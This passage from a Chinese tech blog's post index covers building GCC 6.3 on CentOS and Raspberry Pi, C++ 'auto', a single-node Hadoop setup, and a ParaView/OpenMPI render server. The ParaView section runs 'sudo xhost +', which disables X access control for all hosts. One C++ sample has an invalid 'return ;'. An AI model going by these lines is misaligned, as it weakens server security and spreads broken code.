的官方網站下載，在官方網站上有列出全球各地的鏡像站，任選一個站來下載即可。\n用 wget 下載目前最新的 gcc 6.3 版：\nwget http://mirrors.concertpass.com/gcc/releases/gcc-6.3.0/gcc-6.3.0.tar.bz2 解壓縮 gcc 原始碼：\ntar jxvf gcc-6.3.0.tar.bz2 進入 gcc 原始碼目錄：\ncd gcc-6.3.0/ 下載其他必要的原始碼：\ncontrib/download_prerequisites 建立編譯用的目錄：\nmkdir ../gcc-build cd ../gcc-build 使用以下參數執行 configure：\n../gcc-6.3.0/configure -v \\ --enable-languages=c,c++ \\ --disable-multilib \\ --prefix=/usr/local/gcc-6.3.0 這裡我打算將 gcc 6.3 安裝在 /usr/local/gcc-6.3.0 這個目錄中，如果想安裝在其他的地方，可以自己更改這個路徑。\n執行 make 編譯 gcc 6，由於我是在 CPU 有 40 核心的伺服器上編譯，所以直接使用 40 個 jobs 下去平行編譯，這樣編譯速度可以快很多：\nmake -j40 我的機器大概等個一、二十分鐘就編完了。編譯完成後，進行安裝：\nsudo mkdir /usr/local/gcc-6.3.0 sudo chown seal:seal /usr/local/gcc-6.3.0 make install 檢查一下新的 gcc 版本：\n/usr/local/gcc-6.3.0/bin/gcc -v Using built-in specs. COLLECT_GCC=/usr/local/gcc-6.3.0/bin/gcc COLLECT_LTO_WRAPPER=/usr/local/gcc-6.3.0/libexec/gcc/x86_64-pc-linux-gnu/6.3.0/lto-wrapper Target: x86_64-pc-linux-gnu Configured with: ../gcc-6.3.0/configure -v --enable-languages=c,c++ --disable-multilib --prefix=/usr/local/gcc-6.3.0 Thread model: posix gcc version 6.3.0 (GCC) 這樣就可以開始使用新的 gcc 6.3 編譯器了。\n參考資料 StackOverflow ","permalink":"https://blog.gtwang.org/programming/centos-linux-7-compile-and-install-gcc-6/","summary":"\u003cp\u003e這裡介紹在 CentOS Linux 7 之下自己載 gcc 6 編譯器原始碼、編譯與安裝的過程。\u003c/p\u003e\n\u003cp\u003egcc 是 Linux 系統上最常被使用的編譯器，而 CentOS Linux 7.2 中的 gcc 版本比較舊：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egcc -v\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cpre class=\"output\"\u003eUsing built-in specs.\nCOLLECT_GCC=gcc\nCOLLECT_LTO_WRAPPER=/usr/libexec/gcc/x86_64-redhat-linux/4.8.5/lto-wrapper\nTarget: x86_64-redhat-linux\nConfigured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-linker-hash-style=gnu --enable-languages=c,c++,objc,obj-c++,java,fortran,ada,go,lto --enable-plugin --enable-initfini-array --disable-libgcj --with-isl=/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/isl-install --with-cloog=/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/cloog-install --enable-gnu-indirect-function --with-tune=generic --with-arch_32=x86-64 --build=x86_64-redhat-linux\nThread model: posix\ngcc version 4.8.5 20150623 (Red Hat 4.8.5-4) (GCC)\u003c/pre\u003e\n\u003cp\u003e如果想要使用比較新的功能，就會有問題。以下是自己下載 gcc 6.3.0 原始碼來編譯與安裝的過程。\u003c/p\u003e","title":"CentOS Linux 7 自行編譯與安裝 GCC 6 編譯器教學"},{"content":"這裡介紹 C++ 語言的 auto 自動變數類型的用法，並提供幾種使用範例程式碼。\n在 C++14 標準跟前一版的 C++11 比較起來沒有太大的變革，大概都是改善舊的語法，讓程式設計者更方便使用，這裡我將介紹 auto 這個 C++11 所新增的自動變數類型，以及在 C++14 中的變革。\nauto自動變數類型 在 C++11 標準下，對於有被明確初始化的變數，我們可以使用 auto 這個新的變數類型，讓編譯器自動判斷其變數的類型，例如：\n#include \u0026lt;cmath\u0026gt; int main() { // 等同於 int x = 1; auto x = 1; // 等同於 double y = sin(1.3); auto y = sin(1.3); return 0; } 使用 gcc 4.9 編譯 C++11 的程式碼時，要加上 -std=c++11：\ng++-4.9 -std=c++11 source.cpp 使用 gcc 6.3 編譯時就不需要加任何參數：\n/usr/local/gcc-6.3.0/bin/g++ source.cpp auto 變數實際的型別是在編譯時期進行判定的，在真正執行時就跟一般的 C++ 型別一樣，所以不會造成額外的負擔。\n由於 auto 是根據變數的資料來判斷實際的型別，所以若是僅使用 auto 宣告變數，但未定義變數的內容，就會產生錯誤：\n// 錯誤 auto z; 在 C++11 的標準中，auto 不可以用於函數的傳回值，但後來 C++14 的標準加入了這個用法：\n// 在 C++11 中無法使用，但 C++14 則可以 auto my_fun() { int value = 3; return value; } int main() { my_fun(); return 0; } 編譯器會依照函數的傳回值來決定 auto 實際對應的變數型別。\n而這段原始碼在編譯時就要使用 C++14 的標準才行，若用 gcc 4.9 編譯則必須加上 -std=c++14：\ng++-4.9 -std=c++14 source.cpp 而 gcc 6.3 則不需要任何參數：\n/usr/local/gcc-6.3.0/bin/g++ source.cpp C++98、C++11 與 C++14 範例比較 這是一段使用 C++98 標準的 C++ 程式碼，程式碼比較冗長：\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;vector\u0026gt; // 將每個數值加上 1 std::vector\u0026lt;int\u0026gt;\u0026amp; addOne(std::vector\u0026lt;int\u0026gt; \u0026amp;v) { for(std::vector\u0026lt;int\u0026gt;::iterator it = v.begin(); it != v.end(); it++) { *it += 1; } return v; } int main() { // C++98 的 std::vector 初始化寫法 static const int arr[] = {12, -3, 6, 19}; std::vector\u0026lt;int\u0026gt; x (arr, arr + sizeof(arr) / sizeof(arr[0]) ); std::vector\u0026lt;int\u0026gt; y = addOne(x); for (std::vector\u0026lt;int\u0026gt;::const_iterator i = y.begin(); i != y.end(); ++i) { std::cout \u0026lt;\u0026lt; *i \u0026lt;\u0026lt; \u0026#39; \u0026#39;; } std::cout \u0026lt;\u0026lt; std::endl; return 0; } 整個程式的邏輯很簡單，一開始定義了一個 addOne 函數，它的作用就是把一個整數向量中的每個值都加 1，而主程式中我們定義了一個 x 向量，將其傳給 addOne 處理之後，指定給 y 向量，最後用一個迴圈將 y 輸出。\n從 C++11 開始我們可以使用以範圍為基礎的 for 迴圈，加上 auto 語法後，可將程式碼改寫為：\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;vector\u0026gt; std::vector\u0026lt;int\u0026gt;\u0026amp; addOne(std::vector\u0026lt;int\u0026gt; \u0026amp;v) { for(auto\u0026amp; it : v) { it += 1; } return v; } int main() { // C++11 的 std::vector 初始化寫法 std::vector\u0026lt;int\u0026gt; x = {12, -3, 6, 19}; auto y = addOne(x); for (auto\u0026amp; it : y) { std::cout \u0026lt;\u0026lt; it \u0026lt;\u0026lt; \u0026#39; \u0026#39;; } std::cout \u0026lt;\u0026lt; std::endl; return 0; } 而在 C++14 之後，函數的傳回值也可以使用 auto：\nauto\u0026amp; addOne(std::vector\u0026lt;int\u0026gt; \u0026amp;v) { for(auto\u0026amp; it : v) { it += 1; } return v; } g++ 4.9.1 以後的編譯器甚至還有支援這種泛型函數（generic function）的寫法：\nauto\u0026amp; addOne(auto \u0026amp;v) { for(auto\u0026amp; it : v) { it += 1; } return v; } 這樣的寫法適用於各種數值向量。\n參考資料 Solarian Programmer StackOverflow ","permalink":"https://blog.gtwang.org/programming/cpp-auto-variable-tutorial/","summary":"\u003cp\u003e這裡介紹 C++ 語言的 \u003ccode\u003eauto\u003c/code\u003e 自動變數類型的用法，並提供幾種使用範例程式碼。\u003c/p\u003e\n\u003cp\u003e在 \u003ca href=\"https://zh.wikipedia.org/wiki/C%2B%2B14\"\u003eC++14\u003c/a\u003e 標準跟前一版的 \u003ca href=\"https://zh.wikipedia.org/wiki/C%2B%2B11\"\u003eC++11\u003c/a\u003e 比較起來沒有太大的變革，大概都是改善舊的語法，讓程式設計者更方便使用，這裡我將介紹 \u003ccode\u003eauto\u003c/code\u003e 這個 C++11 所新增的自動變數類型，以及在 C++14 中的變革。\u003c/p\u003e","title":"C++ 程式語言 auto 自動變數類型語法教學與範例"},{"content":"這裡介紹在樹莓派中自行編譯與安裝 gcc 6 編譯器的步驟。\n目前樹莓派的 Raspbian Linux 作業系統內建的 gcc 版本為 4.9.2：\ngcc --version gcc (Raspbian 4.9.2-10) 4.9.2 Copyright (C) 2014 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 如果需要更新版的 gcc 編譯器，就只能自己編譯了，以下是下載 gcc 編譯器原始碼，自行編譯與安裝的過程。\n下載 GCC 6 原始碼 gcc 的原始碼可以從 GCC 的官方網站下載，在官方網站上有列出全球各地的鏡像站，任選一個站來下載即可。\n用 wget 下載目前最新的 gcc 6.3 版：\nwget http://mirrors.concertpass.com/gcc/releases/gcc-6.3.0/gcc-6.3.0.tar.bz2 編譯 GCC 6 由於編譯 gcc 需要非常大的儲存空間與記憶體，在進行編譯之前，請先調整一下樹莓派的 swap 交換空間大小，確認一下 swap 空間至少有 1GB 以上，而儲存空間至少要有 4.6GB 以上（建議 5GB），若 MicroSD 記憶卡空間不足，可以暫時插入一隻 USB 隨身碟擴充，等編譯與安裝完成後再拔掉。\n解壓縮 gcc 原始碼：\ntar jxvf gcc-6.3.0.tar.bz2 進入 gcc 原始碼目錄：\ncd gcc-6.3.0/ 下載其他必要的原始碼：\ncontrib/download_prerequisites 建立編譯用的目錄：\nmkdir ../gcc-build cd ../gcc-build 在 Raspberry Pi 3 中使用以下參數執行 configure：\n../gcc-6.3.0/configure -v --enable-languages=c,c++ --with-cpu=cortex-a53 --with-fpu=neon-fp-armv8 --with-float=hard --build=arm-linux-gnueabihf --host=arm-linux-gnueabihf --target=arm-linux-gnueabihf --prefix=/usr/local/gcc-6.3.0 執行 make 編譯 gcc 6：\nmake -j4 在 Raspberry Pi 3 中使用四核心的 CPU 編譯大約需要六個小時，編譯完成後，進行安裝：\nsudo mkdir /usr/local/gcc-6.3.0 sudo chown pi:pi /usr/local/gcc-6.3.0 make install 檢查一下新的 gcc 版本：\n/usr/local/gcc-6.3.0/bin/gcc -v Using built-in specs. COLLECT_GCC=/usr/local/gcc-6.3.0/bin/gcc COLLECT_LTO_WRAPPER=/usr/local/gcc-6.3.0/libexec/gcc/arm-linux-gnueabihf/6.3.0/lto-wrapper Target: arm-linux-gnueabihf Configured with: ../gcc-6.3.0/configure -v --enable-languages=c,c++ --with-cpu=cortex-a53 --with-fpu=neon-fp-armv8 --with-float=hard --build=arm-linux-gnueabihf --host=arm-linux-gnueabihf --target=arm-linux-gnueabihf --prefix=/usr/local/gcc-6.3.0 Thread model: posix gcc version 6.3.0 (GCC) 順便檢查 g++ 的版本：\n/usr/local/gcc-6.3.0/bin/g++ -v Using built-in specs. COLLECT_GCC=/usr/local/gcc-6.3.0/bin/g++ COLLECT_LTO_WRAPPER=/usr/local/gcc-6.3.0/libexec/gcc/arm-linux-gnueabihf/6.3.0/lto-wrapper Target: arm-linux-gnueabihf Configured with: ../gcc-6.3.0/configure -v --enable-languages=c,c++ --with-cpu=cortex-a53 --with-fpu=neon-fp-armv8 --with-float=hard --build=arm-linux-gnueabihf --host=arm-linux-gnueabihf --target=arm-linux-gnueabihf --prefix=/usr/local/gcc-6.3.0 Thread model: posix gcc version 6.3.0 (GCC) 根據 C++ Standards Support in GCC 的說明，u8 這個萬國碼的語法要在 gcc 6 以後才支援，這裡我們用剛編譯好的 gcc 6.3 測試一下，建立一個 u8.cpp 測試程式：\n#include \u0026lt;iostream\u0026gt; int main() { const char str[] = u8\u0026#34;Hello, world.\u0026#34;; std::cout \u0026lt;\u0026lt; str \u0026lt;\u0026lt; std::endl; return ; } 用 6.3 版的 g++ 編譯：\n/usr/local/gcc-6.3.0/bin/g++ u8.cpp 如果換成預設的 g++ 就會有問題：\ng++ u8.cpp u8.cpp: In function ‘int main()’: u8.cpp:3:22: error: ‘u8’ was not declared in this scope const char str[] = u8\"Hello, world.\"; ^ 另外 gcc 6.3 版編譯程式若遇到錯誤，其輸出的訊息是有顏色的：\n這樣閱讀起來會更舒服。\n最後補充一點，編譯 gcc 時好像會需要這些額外的套件，我不是很確定是否一定要安裝：\nsudo apt-get install libgmp-dev libmpfr-dev libmpc-dev 參考資料 Solarian Programmer GCC FAQ ","permalink":"https://blog.gtwang.org/iot/raspberry-pi/raspberry-pi-raspbian-compile-and-install-gcc-6/","summary":"\u003cp\u003e這裡介紹在樹莓派中自行編譯與安裝 gcc 6 編譯器的步驟。\u003c/p\u003e\n\u003cp\u003e目前樹莓派的 Raspbian Linux 作業系統內建的 gcc 版本為 \u003ccode\u003e4.9.2\u003c/code\u003e：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egcc --version\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cpre class=\"output\"\u003egcc (Raspbian 4.9.2-10) 4.9.2\nCopyright (C) 2014 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.  There is NO\nwarranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\u003c/pre\u003e\n\u003cp\u003e如果需要更新版的 gcc 編譯器，就只能自己編譯了，以下是下載 gcc 編譯器原始碼，自行編譯與安裝的過程。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 自行編譯與安裝 GCC 6 編譯器教學"},{"content":"這裡示範如何在 Ubuntu Linux 的環境中，架設單節點 Hadoop 分散式運算的大資料分析測試環境。\nApache Hadoop 是一個分散式計算的架構，可用於巨量資料（big data）的處理與分析，其原理是利用多台電腦組合成為大型的 Hadoop 叢集電腦，以特殊的 HDFS 檔案系統讓大量的資料分散儲存於各個節點中，而在計算與分析資料時，則是使用 MapReduce 等演算法將計算工作分散在各個節點中平行處理，可用於 PB 級以上的資料儲存與分析。\n由於 Hadoop 分散式計算的架構比一般程式更複雜，所以通常在程式的開發與測試階段都會使用單節點的 Hadoop 環境，不管是設備架設與程式除錯都比較方便，以下是使用 Ubuntu Linux 系統架設 Hadoop 單節點測試環境的步驟。\nJava 開發與執行環境 安裝 Java 的開發與執行環境，安裝流程請參考 Ubuntu Linux 安裝 Oracle 或 OpenJDK 的 Java JRE 與 JDK 步驟教學。\n安裝好之後，確認一下 java 是否正常。\njava -version java version \"1.8.0_121\" Java(TM) SE Runtime Environment (build 1.8.0_121-b13) Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode) 安裝 Hadoop 安裝 Hadoop 前要決定執行 Hadoop 用的帳號，如果是開發程式用的 Hadoop 測試環境，就使用一般的 Linux 使用者帳號即可。\n從 Hadoop 的官方網站下載 Hadoop：\nwget ftp://ftp.twaren.net/Unix/Web/apache/hadoop/common/hadoop-2.7.3/hadoop-2.7.3.tar.gz 解壓縮後，將 Hadoop 的目錄放置在要安裝的位置：\ntar zxvf hadoop-2.7.3.tar.gz sudo mv hadoop-2.7.3 /opt/ 設定 Hadoop 用的 Java Hadoop 執行時會讀取 JAVA_HOME 環境變數來取得 Java 的執行環境，請先檢查一下自己的 JAVA_HOME 是否有設定好：\necho $JAVA_HOME /usr/lib/jvm/java-8-oracle 若沒有設定好，可以在自己的 ~/.bash_profile 或 ~/.bashrc 中加入類似這樣的設定：\nexport JAVA_HOME=\u0026#34;/usr/lib/jvm/java-8-oracle\u0026#34; 讓自己的帳號登入系統時就自動設定好 JAVA_HOME 環境變數。\n另外一種設定方式是編輯 Hadoop 目錄下 etc/hadoop/hadoop-env.sh 這個 Hadoop 設定檔，找到其中的 JAVA_HOME 設定：\n# The java implementation to use. export JAVA_HOME=${JAVA_HOME} 將 JAVA_HOME 替換為自己的 Java 安裝路徑即可。\n設定 PATH 環境變數 將 Hadoop 的執行檔加入自己的 PATH 環境變數中，這樣在執行 Hadoop 時會比較方便。在 ~/.bashrc 中加入：\nexport HADOOP_HOME=/opt/hadoop-2.7.3 export PATH=$PATH:$HADOOP_HOME/bin:$HADOOP_HOME/sbin 直接載入 ~/.bashrc 的設定並測試執行 hadoop 指令：\nsource ~/.bashrc hadoop version Hadoop 2.7.3 Subversion https://git-wip-us.apache.org/repos/asf/hadoop.git -r baa91f7c6bc9cb92be5982de4719c1c8af91ccff Compiled by root on 2016-08-18T01:41Z Compiled with protoc 2.5.0 From source with checksum 2e4ce5f957ea4db193bce3734ff29ff4 This command was run using /opt/hadoop-2.7.3/share/hadoop/common/hadoop-common-2.7.3.jar Hadoop 單機模式測試 Hadoop 有幾種執行模式，分別適用於不同的情況：\n單機模式（tandalone mode） 所有的 Hadoop 程式都在單一的 JVM 中執行，沒有啟動 Hadoop daemons，這樣測試與除錯都會比較容易（尤其是 MapReduce 類型的程式），很適合用於程式開發階段。 模擬分散模式（pseudo-distributed mode） 使用單一台機器，多個 Java 行程來執行 Hadoop 程式，模擬分散式架構。 完整分散模式（fully-distributed mode） 使用多台機器平行執行 Hadoop 程式，用於正式的 Hadoop 叢集電腦。 Hadoop 在安裝好的時候，預設的設定就是單機模式，所以如果您需要的 Hadoop 環境就是單機模式，那就不需要再去更動它的設定檔了。\n我們可以使用 Hadoop 內建的範例測試一下 Hadoop 是否可以正常執行，首先複製一些 Hadoop 的 XML 設定檔作為測試用的文字資料：\ncp -r $HADOOP_HOME/etc/hadoop input 執行內建的 MapReduce 範例程式，這個範例會將 input 中的檔案以 MapReduce 的方式，用正規表達式（regular expression）搜尋，並將結果儲存於 output 目錄中：\nhadoop jar $HADOOP_HOME/share/hadoop/mapreduce/hadoop-mapreduce-examples-2.7.3.jar grep input output \u0026#39;dfs[a-z.]+\u0026#39; 在執行這個 Hadoop 範例程式時，會有相當多的訊息，執行完畢之後，會產生一個 output 目錄：\nls output/ part-r-00000 _SUCCESS 若程式執行成功的話，在 output 目錄中會建立一個 _SUCCESS 檔案，而 part-r-00000 就是執行結果：\ncat output/part-r-00000 6\tdfs.audit.logger 4\tdfs.class 3\tdfs.server.namenode. 2\tdfs.period 2\tdfs.audit.log.maxfilesize 2\tdfs.audit.log.maxbackupindex 1\tdfsmetrics.log 1\tdfsadmin 1\tdfs.servers 1\tdfs.replication 1\tdfs.file 設定 Hadoop 模擬分散模式 Hadoop 的模擬分散執行模式可以讓單一台機器執行多個 Java 行程，模擬叢集電腦的執行狀況，以下是將 Hadoop 設定為模擬分散模式的設定方式。\nHadoop 主要的設定都是寫在 etc/hadoop 目錄中的 XML 檔裡面，以下是比較重要的 XML 設定檔：\ncore-site.xml：Hadoop 基本設定檔。 hdfs-site.xml：HDFS 設定檔。 mapred-site.xml：MapReduce 設定檔。 yarn-site.xml：YARN 設定檔。 更改 core-site.xml 設定檔內容：\n\u0026lt;configuration\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;fs.defaultFS\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;hdfs://localhost:9000\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;/configuration\u0026gt; 更改 hdfs-site.xml 設定檔內容：\n\u0026lt;configuration\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;dfs.replication\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;1\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;/configuration\u0026gt; 設定 SSH 金鑰認證登入 安裝 ssh 伺服器：\nsudo apt-get install openssh-server 設定 ssh 金鑰認證登入：\nssh-keygen cat ~/.ssh/id_rsa.pub \u0026gt;\u0026gt; ~/.ssh/authorized_keys chmod 0600 ~/.ssh/authorized_keys 檢查 ssh 登入是否需要密碼：\nssh localhost 將資料放入 HDFS HDFS 檔案系統在第一次使用前，要先進行格式化的動作：\nhdfs namenode -format 啟動 NameNode 與 DataNode daemon：\nstart-dfs.sh 打開 NameNode 的網頁介面網址 http://localhost:50070/，看看網頁是否可以正常顯示：\n建立使用者用的目錄：\nhdfs dfs -mkdir -p /user/gtwang 將資料放進 HDFS 中：\nhdfs dfs -put $HADOOP_HOME/etc/hadoop input 查看一下資料：\nhdfs dfs -ls input 執行 MapReduce 測試程式 執行 MapReduce 程式：\nhadoop jar $HADOOP_HOME/share/hadoop/mapreduce/hadoop-mapreduce-examples-2.7.3.jar grep input output \u0026#39;dfs[a-z.]+\u0026#39; 將資料取回並查看結果：\nhdfs dfs -get output output cat output/* 6\tdfs.audit.logger 4\tdfs.class 3\tdfs.server.namenode. 2\tdfs.period 2\tdfs.audit.log.maxfilesize 2\tdfs.audit.log.maxbackupindex 1\tdfsmetrics.log 1\tdfsadmin 1\tdfs.servers 1\tdfs.file 若不想取回資料，也可以直接使用以下的指令查看結果：\nhdfs dfs -cat output/* 執行完畢之後，關閉 daemons：\nstop-dfs.sh 補充資料 如果在執行時出現類似這樣的錯誤訊息：\n17/02/21 10:32:48 WARN hdfs.DFSClient: Caught exception java.lang.InterruptedException at java.lang.Object.wait(Native Method) at java.lang.Thread.join(Thread.java:1249) at java.lang.Thread.join(Thread.java:1323) at org.apache.hadoop.hdfs.DFSOutputStream$DataStreamer.closeResponder(DFSOutputStream.java:609) at org.apache.hadoop.hdfs.DFSOutputStream$DataStreamer.closeInternal(DFSOutputStream.java:577) at org.apache.hadoop.hdfs.DFSOutputStream$DataStreamer.run(DFSOutputStream.java:573) 這個看起來是 Hadoop 的 bug，暫時可以忽略它。\n參考資料 Apache Hadoop 台大計資中心 DigitalOcean BogoToBogo iThome ","permalink":"https://blog.gtwang.org/linux/linux-hadoop-single-node-cluster-tutorial/","summary":"\u003cp\u003e這裡示範如何在 Ubuntu Linux 的環境中，架設單節點 Hadoop 分散式運算的大資料分析測試環境。\u003c/p\u003e\n\u003cp\u003eApache Hadoop 是一個分散式計算的架構，可用於巨量資料（big data）的處理與分析，其原理是利用多台電腦組合成為大型的 Hadoop 叢集電腦，以特殊的 HDFS 檔案系統讓大量的資料分散儲存於各個節點中，而在計算與分析資料時，則是使用 MapReduce 等演算法將計算工作分散在各個節點中平行處理，可用於 PB 級以上的資料儲存與分析。\u003c/p\u003e","title":"Ubuntu Linux 架設 Hadoop 單節點測試主機教學"},{"content":"本篇是最近拿到的幾種不同的地瓜，拍照紀錄一下。\n這是紫色地瓜。\n這是黃色地瓜。\n這是白色地瓜。\n","permalink":"https://blog.gtwang.org/life/sweet-potatos-20170218/","summary":"\u003cp\u003e本篇是最近拿到的幾種不同的地瓜，拍照紀錄一下。\u003c/p\u003e\n\u003cp\u003e這是紫色地瓜。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"紫色地瓜（蕃薯）\" loading=\"lazy\" src=\"/life/sweet-potatos-20170218/sweet-potatos-20170218-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"紫色地瓜（蕃薯）\" loading=\"lazy\" src=\"/life/sweet-potatos-20170218/sweet-potatos-20170218-02.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"紫色地瓜（蕃薯）\" loading=\"lazy\" src=\"/life/sweet-potatos-20170218/sweet-potatos-20170218-05.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e這是黃色地瓜。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黃色地瓜（蕃薯）\" loading=\"lazy\" src=\"/life/sweet-potatos-20170218/sweet-potatos-20170218-03.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黃色地瓜（蕃薯）\" loading=\"lazy\" src=\"/life/sweet-potatos-20170218/sweet-potatos-20170218-04.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黃色地瓜（蕃薯）\" loading=\"lazy\" src=\"/life/sweet-potatos-20170218/sweet-potatos-20170218-06.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e這是白色地瓜。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"白色地瓜（蕃薯）\" loading=\"lazy\" src=\"/life/sweet-potatos-20170218/sweet-potatos-20170218-08.jpg\"\u003e\u003c/p\u003e","title":"一些地瓜照片記錄"},{"content":"這裡紀錄在 CentOS Linux 系統上編譯、安裝與設定 ParaView，使用 OpenMPI 打造平行繪圖伺服器的過程。\n本篇文章是我個人的工作記錄，由於技術細節太多了，很難完全寫下來，所以只能當作參考用，但我相信如果您想要架設 ParaView 的繪圖叢集電腦，這篇是很有價值的參考資料。\n本篇不是入門教學，請不要直接用複製貼上的方式實作。\n在開始安裝 ParaView 伺服器之前，請先詳讀 ParaView 官方的 Remote and parallel visualization 教學文件，因為觀念與細節太多了，很多上面有寫的部份我就不重複說明了。\n伺服器軟硬體架構 目前拿兩台伺服器作為繪圖節點，一個節點有兩張 NVIDIA GeForce GTX 1060 6GB 顯示卡，每張顯示卡的記憶體大小是 6GB。\n這張架構圖是用 VRT Network Equipment 圖示集畫的，原始檔在這裡。\n伺服器的作業系統是 CentOS Linux 7.2.1511，NVIDIA 的驅動程式版本為 375.26。\n設定 NVIDIA 顯示卡與 X Window 使用 nvidia-xconfig 建立基本的 xorg.conf：\nsudo nvidia-xconfig --enable-all-gpus --virtual=1600x1200 加入 --enable-all-gpus 參數可產生所有 GPU 顯示卡的設定，在一台機器有多張顯示卡的時候就要加上這個參數，而 --virtual 則是用來設定虛擬螢幕解析度（virtual screen resolution）用的參數，這個不能設太小，至少要跟 ParaView client 的解析度一樣大。\n通常插在伺服器上的顯示卡不會每一張都接螢幕，甚至完全不會有螢幕，在沒有螢幕的狀況下，NVIDIA 的驅動程式預設是不會啟動的，要自己額外加上 AllowEmptyInitialConfiguration 設定，強制讓顯示卡啟動。\nxorg.conf 關鍵的設定如下：\nSection \u0026#34;Device\u0026#34; Identifier \u0026#34;Device0\u0026#34; Driver \u0026#34;nvidia\u0026#34; VendorName \u0026#34;NVIDIA Corporation\u0026#34; BoardName \u0026#34;GeForce GTX 1060 6GB\u0026#34; BusID \u0026#34;PCI:3:0:0\u0026#34; # 強制顯示卡啟動 Option \u0026#34;AllowEmptyInitialConfiguration\u0026#34; \u0026#34;true\u0026#34; EndSection Section \u0026#34;Device\u0026#34; Identifier \u0026#34;Device1\u0026#34; Driver \u0026#34;nvidia\u0026#34; VendorName \u0026#34;NVIDIA Corporation\u0026#34; BoardName \u0026#34;GeForce GTX 1060 6GB\u0026#34; BusID \u0026#34;PCI:132:0:0\u0026#34; # 強制顯示卡啟動 Option \u0026#34;AllowEmptyInitialConfiguration\u0026#34; \u0026#34;true\u0026#34; EndSection Section \u0026#34;Screen\u0026#34; Identifier \u0026#34;Screen0\u0026#34; Device \u0026#34;Device0\u0026#34; Monitor \u0026#34;Monitor0\u0026#34; DefaultDepth 24 SubSection \u0026#34;Display\u0026#34; Virtual 1600 1200 # 設定虛擬螢幕解析度 Depth 24 EndSubSection EndSection Section \u0026#34;Screen\u0026#34; Identifier \u0026#34;Screen1\u0026#34; Device \u0026#34;Device1\u0026#34; Monitor \u0026#34;Monitor1\u0026#34; DefaultDepth 24 SubSection \u0026#34;Display\u0026#34; Virtual 1600 1200 # 設定虛擬螢幕解析度 Depth 24 EndSubSection EndSection NVIDIA 的 X Config Options 請參考 NVIDIA 驅動程式的說明文件。\n補充說明，Vim 若要編輯 xorg.conf 時，設定的 syntax 為 xf86conf。\n修改完 X Window 設定之後，要重新啟動 X Window，通常是重新啟動 gdm 服務（或是 xdm 等服務，視自己的伺服器而定）：\nsudo service gdm restart 讓所有人都可以連進來使用 X Window server：\nDISPLAY=:0 sudo xhost + access control disabled, clients can connect from any host 以 glxinfo 檢查一下顯示卡狀況：\nDISPLAY=:0 glxinfo 以 nvidia-smi 檢查 X Window 是否有正常在每一張 NVIDIA 的顯示卡上啟動：\nnvidia-smi Fri Feb 17 08:42:14 2017 +-----------------------------------------------------------------------------+ | NVIDIA-SMI 375.26 Driver Version: 375.26 | |-------------------------------+----------------------+----------------------+ | GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC | | Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. | |===============================+======================+======================| | 0 GeForce GTX 106... Off | 0000:03:00.0 Off | N/A | | 28% 27C P8 7W / 120W | 84MiB / 6072MiB | 0% Default | +-------------------------------+----------------------+----------------------+ | 1 GeForce GTX 106... Off | 0000:84:00.0 Off | N/A | | 28% 25C P8 5W / 120W | 16MiB / 6072MiB | 0% Default | +-------------------------------+----------------------+----------------------+ +-----------------------------------------------------------------------------+ | Processes: GPU Memory | | GPU PID Type Process name Usage | |=============================================================================| | 0 13747 G /usr/bin/Xorg 72MiB | | 0 13803 G gnome-shell 10MiB | | 1 13747 G /usr/bin/Xorg 14MiB | +-----------------------------------------------------------------------------+ 正常來說在下方的 Processes 的部份，每一張 GPU 卡都至少要有一筆 /usr/bin/Xorg，如果沒有的話就表示 X Window 沒有正常啟動，請檢查 /var/log/Xorg.0.log 等紀錄檔。\n安裝 OpenMPI OpenMPI 使用 yum 安裝即可：\nsudo yum install openmpi openmpi-devel CentOS 的 OpenMPI 安裝完之後，使用前要先用 module 載入：\nmodule load mpi/openmpi-x86_64 測試 mpirun：\nmpirun --version mpirun (Open MPI) 1.10.3 Report bugs to http://www.open-mpi.org/community/help/ 如果忘記用 module 載入的話，執行時就會出現這樣找不到指令的錯誤：\nbash: mpirun: command 